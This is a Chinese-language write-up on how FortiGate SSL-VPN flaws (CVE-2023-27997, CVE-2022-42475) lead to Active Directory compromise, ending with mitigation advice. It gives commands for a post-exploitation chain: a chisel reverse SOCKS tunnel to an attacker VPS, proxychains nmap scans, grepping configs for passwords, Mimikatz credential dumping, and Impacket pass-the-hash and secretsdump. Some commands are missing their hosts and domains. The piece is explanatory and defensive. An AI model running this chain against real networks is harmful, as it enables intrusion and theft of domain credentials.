FortiGate防火墙漏洞利用导致Active Directory沦陷
FortiGate防火墙的关键漏洞,特别是那些影响SSL-VPN组件的预认证远程代码执行(RCE)漏洞,已成为攻击者渗透企业网络并最终控制Active Directory(AD)的关键入口。此类漏洞(如CVE-2023-27997)为攻击者提供了在防火墙设备上执行任意代码的能力,从而打开了通往内部网络的大门,为后续的权限提升和Active Directory的完全沦陷铺平了道路。FortiGate SSL-VPN RCE漏洞分析
近年来,FortiGate防火墙的SSL-VPN功能中发现了多个高危漏洞,允许未授权的远程攻击者执行代码。其中,CVE-2023-27997和CVE-2022-42475是两个典型的例子。这些漏洞通常是由于堆溢出(heap-based buffer overflow)或格式字符串(format string)缺陷造成的,允许攻击者发送特制请求,从而在FortiGate设备上实现远程代码执行。CVE-2023-27997: FortiOS/FortiProxy SSL-VPN 堆溢出漏洞
此漏洞是一个堆溢出缺陷,影响FortiOS和FortiProxy的SSL-VPN功能。它允许未经身份验证的攻击者通过发送特制请求在受影响的设备上执行任意代码。由于SSL-VPN端口通常暴露在互联网上,该漏洞的威胁等级极高。利用成功后,攻击者可获得设备的完全控制权,进而将攻击范围扩展至内部网络。
受影响版本(CVE-2023-27997):
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| FortiOS | 7.2.0 through 7.2.4 | 7.2.5 or above |
| 7.0.0 through 7.0.10 | 7.0.11 or above | |
| 6.4.0 through 6.4.12 | 6.4.13 or above | |
| 6.2.0 through 6.2.14 | 6.2.15 or above | |
| 6.0.0 through 6.0.17 | 6.0.18 or above | |
| FortiProxy | 7.2.0 through 7.2.3 | 7.2.4 or above |
| 7.0.0 through 7.0.9 | 7.0.10 or above |
CVE-2022-42475: FortiOS SSL-VPN 远程代码执行漏洞
此漏洞同样是FortiOS SSL-VPN中的一个堆溢出漏洞,允许未经身份验证的攻击者在设备上远程执行代码。攻击者可以利用此漏洞绕过认证,获取设备的root权限,进而对内部网络发起攻击。此漏洞曾在野外被利用,突显了其严重性。
受影响版本(CVE-2022-42475):
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| FortiOS | 7.2.0 through 7.2.2 | 7.2.3 or above |
| 7.0.0 through 7.0.8 | 7.0.9 or above | |
| 6.4.0 through 6.4.10 | 6.4.11 or above | |
| 6.2.0 through 6.2.11 | 6.2.12 or above | |
| 6.0.0 through 6.0.15 | 6.0.16 or above |
# 假设利用成功后获得的shell
whoami
# 输出: root
ls /
# 输出: bin boot dev etc lib lib64 mnt proc ...
# 进一步检查系统信息
cat /etc/fortios-release
从FortiGate到内部网络
成功控制FortiGate设备是攻击Active Directory的关键一步。FortiGate作为网络的边界设备,拥有对内网的直接访问权限,通常配置了路由规则,甚至可能存储了内部网络服务的凭据。1. 建立内部网络桥头堡 (Establishing an Internal Foothold):
在FortiGate上获得RCE后,攻击者可以利用其在内部网络的优势位置进行侦察和横向移动。通常,攻击者会部署工具,例如chisel或ligolo-ng,来建立SOCKS代理或VPN隧道,将外部攻击机与FortiGate所在的内部网络连接起来。这使得攻击者可以直接从其攻击基础设施访问内部IP地址和端口,如同身处内网一般。
# Chisel 服务器端 (攻击者控制的VPS)
chisel server --reverse --port 8000
# Chisel 客户端 (在FortiGate上执行)
# 假设攻击者已通过RCE将chisel二进制文件上传到FortiGate
./chisel client :8000 R:socks
此操作将创建一个从FortiGate到攻击者VPS的反向SOCKS代理,允许攻击者通过此代理访问FortiGate可见的所有内部资源。
2. 内部网络侦察 (Internal Network Reconnaissance):
通过建立的隧道,攻击者可以开始对内部网络进行详细侦察,目标是定位Active Directory域控制器、DNS服务器以及其他潜在的敏感服务。
- 端口扫描 (Port Scanning): 使用
nmap等工具扫描内部IP范围,识别开放端口和运行的服务。
识别常见的Active Directory端口:53 (DNS), 88 (Kerberos), 135 (MSRPC), 389 (LDAP), 445 (SMB/AD), 3389 (RDP)。# 假设内部网络范围是 192.168.1.0/24 proxychains nmap -sT -p 53,88,135,139,389,445,3389 --open 192.168.1.0/24 -oA ad_recon - DNS查询 (DNS Queries): 利用内部DNS服务器查询域控制器的主机名和IP地址。
proxychains nslookup _ldap._tcp.dc._msdcs. - SMB枚举 (SMB Enumeration): 尝试匿名或使用已泄露的凭据(如果FortiGate本身存储了与AD相关的凭据)访问SMB共享,查找有关域结构、用户和组的信息。
proxychains smbclient -L /// -U '%'
3. 凭据获取 (Credential Acquisition):
在某些情况下,FortiGate设备本身可能存储了连接到Active Directory的凭据,例如用于LDAP身份验证、VPN用户身份验证或其他集成服务。攻击者可以尝试从设备配置中提取这些凭据。
# 尝试查找配置文件中可能存在的明文或加密凭据
grep -r "password" /var/
即使FortiGate上没有直接的AD凭据,其作为内部网络中的一个节点,也为后续的凭据窃取创造了条件。
Active Directory 沦陷路径
一旦攻击者获得了内部网络的访问权限,并完成了初步侦察,下一步就是利用收集到的信息,通过各种技术逐步渗透Active Directory,最终实现域管理员权限。1. 初始立足点与横向移动 (Initial Foothold and Lateral Movement):
通过FortiGate代理,攻击者可以针对内部的工作站或服务器发起攻击。常见的技术包括:
- SMB Relay / NTLM Relay: 如果内部系统存在未打补丁的SMB服务且禁用签名,攻击者可以利用FortiGate的内部访问权限,重放来自其他主机的NTLM认证请求,将其转发到目标机器以执行代码或捕获凭据。
- 漏洞利用 (Vulnerability Exploitation): 扫描内部主机是否存在可利用的软件漏洞(例如,旧版本的Windows服务、Web应用漏洞),利用这些漏洞在内部主机上获得立足点。
- RDP凭据钓鱼 (RDP Credential Phishing): 如果发现内部开放RDP端口,可以尝试使用窃取的或弱口令的凭据进行爆破,或针对内部用户进行钓鱼攻击,诱导其输入凭据。
2. 凭据窃取与特权升级 (Credential Theft and Privilege Escalation):
在获得了内部域成员主机的控制权后,攻击者会迅速行动以窃取更多凭据并提升权限。常用的工具和技术包括:
- Mimikatz: 在受控的Windows主机上运行
Mimikatz,提取内存中的明文密码、哈希(NTLM、Kerberos tickets),以及Kerberos会话票据。# 执行Mimikatz命令 privilege::debug sekurlsa::logonpasswords full - Impacket工具集 (Impacket Toolkit): 这个Python库包含了许多用于Active Directory攻击的实用工具:
psexec.py/wmiexec.py: 使用窃取的哈希或凭据在远程主机上执行命令。# 使用哈希进行Pass-the-Hash攻击 proxychains psexec.py/ @ -hashes : secretsdump.py: 连接到域控制器,导出域中所有用户的NTLM哈希。proxychains secretsdump.py/ @ -hashes : getTGT.py/getST.py: 用于Kerberoasting和Pass-the-Ticket攻击,获取服务票据。
- BloodHound: 一旦在域中获得任何用户权限,攻击者可以部署
BloodHound的采集器(SharpHound),收集域内的用户、组、计算机、信任关系、ACL等信息,以可视化方式发现权限提升路径。
3. 域管理员权限获取 (Domain Administrator Privilege Acquisition):
通过持续的凭据窃取、横向移动和特权升级,攻击者最终会瞄准域控制器。一旦成功获取域管理员账户的凭据(哈希或明文),攻击者就可以完全控制整个Active Directory域。这包括:
- 创建新的域管理员用户。
- 修改域策略。
- 部署恶意软件和后门以实现持久化。
- 访问所有域内资源。
缓解措施
为了防范FortiGate漏洞导致的Active Directory沦陷,组织应采取多层次的安全措施:- 立即修补漏洞 (Immediate Patching): 及时关注Fortinet官方安全公告,并对FortiGate设备应用所有最新的安全补丁,尤其是针对SSL-VPN组件的补丁。
- 严格网络分段 (Strict Network Segmentation): 实施精细的网络分段策略,将FortiGate管理接口与内部生产网络隔离,并限制FortiGate可以访问的内部资源。
- 多因素认证 (Multi-Factor Authentication - MFA): 对所有通过SSL-VPN访问内部资源的用户强制实施MFA,即使攻击者窃取了凭据,也难以绕过MFA进入内部网络。
- 最小权限原则 (Principle of Least Privilege): 确保FortiGate设备与其集成的内部服务(如LDAP)使用具有最小必要权限的账户。
- 入侵检测与防御 (Intrusion Detection/Prevention Systems - IDPS): 部署IDPS系统,监控FortiGate以及内部网络的异常流量和潜在的攻击行为。
- 日志审计与监控 (Logging and Monitoring): 启用FortiGate及Active Directory的详细日志记录,并实施集中化日志管理和实时监控,以便及时发现异常登录、账户活动和系统配置更改。
- 定期安全审计与渗透测试 (Regular Security Audits and Penetration Testing): 定期对FortiGate配置和内部Active Directory环境进行安全审计和渗透测试,主动发现并修复潜在的安全漏洞和配置弱点。